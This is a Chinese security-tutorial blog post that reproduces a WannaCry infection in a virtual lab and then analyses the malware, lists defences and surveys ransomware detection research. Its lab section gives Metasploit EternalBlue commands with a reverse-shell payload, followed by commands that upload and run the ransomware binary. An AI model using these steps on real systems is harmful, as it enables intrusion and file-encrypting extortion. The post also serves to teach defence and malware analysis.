[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了通过Python利用永恒之蓝漏洞加载WannaCry勒索病毒,并实现对Win7文件加密的过程,但过程较为复杂,为什么不直接利用永恒之蓝呢?所以,这篇文章将直接分享MSF利用MS17-010漏洞进行反弹Shell,再上传勒索病毒进行实验复现,并详细讲解WannaCry勒索病毒的原理。基础性文章,希望对您有所帮助。

在这里插入图片描述

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.WannaCry背景
  • 二.WannaCry实验复现
    • 1.实验环境搭建
    • 2.Kali利用MS17-010反弹Shell
  • 三.防御措施
  • 四.WannaCry病毒分析
    • 1.母体程序mssecsvc.exe行为分析
    • 2.tasksche.exe行为分析
    • 3.@[email protected]程序分析
  • 五.WannaCry病毒检测
  • 六.总结

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
漏洞利用:https://github.com/eastmountyxz/WannaCry-Experiment


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.WannaCry背景

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过共享漏洞上传WannaCry勒索病毒等恶意程序。

在这里插入图片描述

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@[email protected]显示勒索界面。其核心流程如下图所示:

在这里插入图片描述

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息


二.WannaCry实验复现

1.实验环境搭建

实验环境:

  • 攻击机:Kali-linux-2019.2 IP:192.168.44.138
  • 受害主机:Win7 64位 IP:192.168.44.147

实验工具:

  • metasploit
  • MS17-010
  • Wcry.exe

实验步骤:

  • 配置Windows Server 2003、Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
  • 上传勒索病毒wcry.exe并运行
  • 实现勒索和文件加密

切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验比上一篇文章精简很多,更推荐该方法。


第一步,创建虚拟机并安装Windows7 x64位操作系统。Win7设置开启445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能。

在这里插入图片描述


第二步,保证攻击机和受害机相互通讯,均在同一个局域网中。

在这里插入图片描述



2.Kali利用MS17-010反弹Shell

第一步,扫描靶机是否开启445端口。

  • nmap -sS 192.168.44.147

在这里插入图片描述


第二步,打开msfconsole并查询MS17-010漏洞模块。
这里有各种MS17-010漏洞版本,我们根据目标系统选择编号为3的版本。推荐读者看看NSA泄露的方程式工具包,其中永恒之蓝(eternalblue)就是著名的漏洞。

  • msfconsole
  • search ms17-010

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第1张图片


第三步,利用永恒之蓝漏洞并设置参数。

  • use exploit/windows/smb/ms17_010_eternalblue
    利用永恒之蓝漏洞
  • set payload windows/x64/meterpreter/reverse_tcp
    设置payload
  • set LHOST 192.168.44.138
    设置本机IP地址
  • set RHOSTS 192.168.44.147
    设置受害主机IP
  • set RPORT 445
    设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
  • exploit
    利用漏洞

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第2张图片


第四步,成功获取Win7系统管理员权限。

  • getuid
    返回系统管理员权限
  • pwd、ls
    查看当前路径及目录

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第3张图片


第五步,上传勒索病毒至Win7系统。再次强调,虚拟机中运行该实验,并且关闭文件共享功能。

  • shell
  • upload /root/wcry.exe c:\
  • wcry.exe

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第4张图片
在这里插入图片描述


第六步,运行勒索病毒,实验复现成功。
运行前的受害主机界面如下图所示:

在这里插入图片描述

运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

在这里插入图片描述

加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述

在这里插入图片描述



三.防御措施

勒索软件防御常见的措施如下:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭的方法如下:

  • 控制面板–>windows防火墙—>高级选项–>入站规则
  • 新建规则–>选择端口–>指定端口号445
  • 选择阻止连接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。

在这里插入图片描述



四.WannaCry病毒分析

分析方法主要有两种:静态分析和动态分析

  • 静态分析以反汇编为主,通过分析勒索软件的代码了解其行为和各功能实现细节
  • 动态分析主要有动态调试、行为分析、沙盒分析
  • 动态调试主要配合静态分析进行,对静态分析进行辅助
  • 行为分析主要通过系统日志来观察勒索软件的行为,从而了解勒索软件行为
  • 沙盒分析作为目前自动化分析的主要手段,主要用来辅助手动分析。通过在沙盒中运行勒索软件,能够得到勒索软件的API调用、文件行为、网络行为等行为

首先,我们来看看安天分享的Wannacry流程图,其运行流程包括:

  • 主程序文件利用漏洞传播自身,运行WannaCry勒索程序
  • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
  • @[email protected]显示勒索信息,解密示例文件

在这里插入图片描述

接下来我们利用IDA进行逆向分析。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第5张图片


1.母体程序mssecsvc.exe行为分析

(1) 主函数逆向如下,包括创建工作目录、设置注册表、导入密钥、对t.wncy解密等功能。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第6张图片

(2) 主程序运行后会先连接该域名,如果该域名可以访问则退出,不触发任何恶意行为。如果该域名无法访问,则触发传播和勒索行为。目前该域名已被英国安全公司接管。

注意,目前网上的wrcy.exe我都只发现了勒索功能,前面网络部分及传播功能代码未找到。如果有该部分样本的读者,希望能告知作者,非常感谢。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第7张图片

(3) 创建开机自启动mssecsvc2.0服务并启动该服务。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第8张图片

(4) 从木马自身读取MS17-010漏洞利用代码,Playload分为x86和x64两个版本。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第9张图片

(5) 接着母体程序创建两个线程分别扫描内网和外网IP,开始进行蠕虫传播感染。

  • 公网:随机IP地址445端口进行扫描感染
  • 内网:直接扫描当前计算机所在的网段进行感染

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第10张图片

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第11张图片

(6) 感染过程尝试连接445端口,如果连接成功则对该地址尝试漏洞攻击感染。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第12张图片

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第13张图片

(7) 母体程序mssecsvc.exe利用MS17-010漏洞进行网络传播。
获取目标主机权限后,但其并不会直接发送自身exe程序到目标,而是发送一段经过异或加密后的Payload到目标机器中执行。Payload由shellcode+包含样本自身的dll组成。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第14张图片

dll具有一个导出函数PlayGame,将资源文件释放保存为mssecsvc.exe并执行。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第15张图片

(8) 加载资源到新建目录下并命名为taskche.exe,接着运行该程序。

  • StartTaskcheEXE()先尝试以服务的形式启动cmd.exe,cmd.exe通过参数启动taskche.exe
  • 如果以服务的方式启动失败,就以普通进程的方式启动taskche.exe

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第16张图片
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第17张图片

(9) 释放tasksche.exe,路径为C:\windows\tasksche.exe。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第18张图片



2.tasksche.exe行为分析

(1) 解压释放大量敲诈者模块及配置文件,解压密码为WNcry@2ol7。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第19张图片

注意,如果我们将“wcry.exe”修改为“wcry.zip”,可以发现其是个压缩文件,包括以下内容。其解压密码也正是WNcry@2ol7。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第20张图片

(2) 设置工作目录、设置注册表、解压文件、获取比特币钱包等。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第21张图片

(3) 释放资源。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第22张图片

(4) t.wnry文件包含一个加密的dll文件,WannaCry勒索程序会解密并动态加载调用TaskStart导出函数,文件加密等恶意行为在该dll中实现。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第23张图片

(5) 加密勒索过程会创建互斥体和初始化全局变量。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第24张图片

(6) 检查互斥体是否存在。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第25张图片

(7) 检查00000000.dky和00000000.pky是否存在,是否配对。如果加密,则创建线程:更新c.wncy、启动@[email protected]、设置启动项。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第26张图片

(8) 程序内置RSA 2048公钥用于加密。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第27张图片

(9) 完成所有文件加密后释放说明文档,弹出勒索界面,需支付比特币到指定的比特币钱包地址,三个比特币钱包地址编码于程序中:

  • 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第28张图片



3.@[email protected]程序分析

程序会将@[email protected]复制到被加密文件的文件夹下,衍生大量语言配置文件、具有加密功能的文件、窗体文件等,该程序没有传播、加密等恶意功能。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第29张图片

IDA逆向如下图所示:

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第30张图片

@[email protected]是样本加密完用户数据显示的勒索界面程序,负责显示比特币钱包地址,演示部分解密文件。详细流程如下图所示:

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第31张图片

  • @[email protected]会创建00000000.res,内容为加密的文件数量、大小等信息,随后@[email protected]样本将该文件内容回传到攻击者的暗网服务器。
  • 服务器收到用户上传的00000000.res内容后会返回一个比特币钱包地址,然后样本更新c.wnry配置文件中的比特币钱包地址。
  • 当用户根据新的钱包地址付款并点击Check Payment后,会将本地00000000.res和00000000.eky回传到服务器,如果攻击者确认这个00000000.res文件对应的比特币钱包收到付款,则将00000000.eky文件解密后返回给目标主机。
  • 受害主机收到服务器解密00000000.eky内容保存为00000000.dky,随后样本遍历磁盘文件,排除设置好的自身文件和系统目录文件,使用收到的00000000.dky密钥解密后缀为.WNCYR或.WNCRY的文件。


五.WannaCry病毒检测

写到这里,整个实验复现及分析过程介绍完毕,接下来作者简单介绍学术界三种检测WannaCry病毒的方法——CryptoLock、ShieldFS、Redemption,更推荐读者阅读论文。

  • Scaife N, Carter H, Traynor P, et al. Cryptolock (and drop it): stopping ransomware attacks on user data[C]//2016 IEEE 36th International Conference on Distributed Computing Systems (ICDCS). IEEE, 2016: 303-312.
  • Kharraz A, Kirda E. Redemption: Real-time protection against ransomware at end-hosts[C]//International Symposium on Research in Attacks, Intrusions, and Defenses. Springer, Cham, 2017: 98-119.
  • Continella A, Guagnelli A, Zingaro G, et al. ShieldFS: a self-healing, ransomware-aware filesystem[C]//Proceedings of the 32nd Annual Conference on Computer Security Applications. ACM, 2016: 336-347.

(1) CryptoLock
CryptoLock在内核层中捕获从用户层发来的I/O请求,并将其发送到应用层进行判定、分类,应用层将Allow/Dis-allow消息发送到内核层后,内核层执行Pass/Block操作。

核心思想是使用文件过滤驱动拦截应用层的I/O请求,然后进行行为判定,如果判断为恶意I/O则拒绝该I/O请求。

主要指标:

  • A、文件类型变化:作者通过监控这些头部的转变来检测文件类型是否变化,如果文件类型变化,则写入操作是可疑的。
  • B、相似度衡量:作者选用了sdhash来衡量原文件内容与写入内容的相似度,如果写入数据与原数据相似度很低,则该写入操作很可疑。
  • C、香农熵(信息熵):作者使用信息熵来衡量写入数据的无序程度。熵值取值从0~8,越高则认为写入的数据越可疑。

次要指标:

  • 删除操作:作者认为,一类勒索病毒通过将加密信息写入其它文件后删除原文件来加密用户文件。当一个进程删除了很多用户文件时,就认为这个进程很可疑。
  • 漏斗式文件类型(File Type Funneling):作者认为正常的进程(如Word),可能会读取很多类型的文件,但是一般只会写入一种类型的文件。当一个进程读取很多种类型的文件,同时又写入了很多种类型的文件时,该进程就很可疑。

作者使用了上面几种指标联合判决的方式来判断一个进程是否为恶意进程。
CryptoLock流程如下所示:

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第32张图片


(2) ShieldFS
ShieldFS是在CryptoLock的基础上进行的研究。ShieldFS同样使用文件过滤驱动捕获应用层的I/O请求来进行恶意软件检测,与CryptoLock不同的是,CryptoLock在判别方式上进行了改进,以及增加了勒索软件检出后的被加密文件恢复机制。

ShieldFS流程如如下所示,其主要模块有两个:检测模块和恢复模块。恢复模块用某种机制对文件进行备份,在检测模块检测出某进程为恶意进程后,恢复被恶意进程加密的文件。

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第33张图片


(3) Redemption
与ShieldFS相似的,Redemption也分为恶意行为检测部分和备份部分。它与ShieldFS不同的地方就在于判别使用的指标和备份、恢复文件的方式。同时,Redemption使用了基于内容的指标和基于行为的指标,最后对各种指标进行计分,通过得分是否超过阈值来判断进程是否为恶意进程。

Redemption流程如如下所示:

[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析_第34张图片



六.总结

写到这里,这篇WannaCry勒索病毒复现和分析的文章就介绍结束了,希望对您有所帮助。接着作者还会继续深入地逆向分析该勒索病毒的原理及调用关系,也推荐大家阅读参考文献大佬们的文章。继续加油~

在这里插入图片描述

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-04-20 晚上8点写于贵阳 http://blog.csdn.net/eastmount/ )



参考文献:
[1] 实验室小伙伴们的分享
[2] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781
[3] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户
[4] 对WannaCry的深度分析 - 鬼手56
[5] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
[6] [原创]勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒实验室
[7] WannaCry蠕虫详细分析 - FreeBuf腾讯
[8] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
[9] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台
[10] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师
[11] wannacry,petaya,meze等病毒样本 - CSDN下载
[12] 针对WannaRen勒索软件的梳理与分析 - 安天


你可能感兴趣的:(网络安全,漏洞挖掘,渗透&攻防,网络安全,逆向分析,WannaCry,MS17-010,安全防御)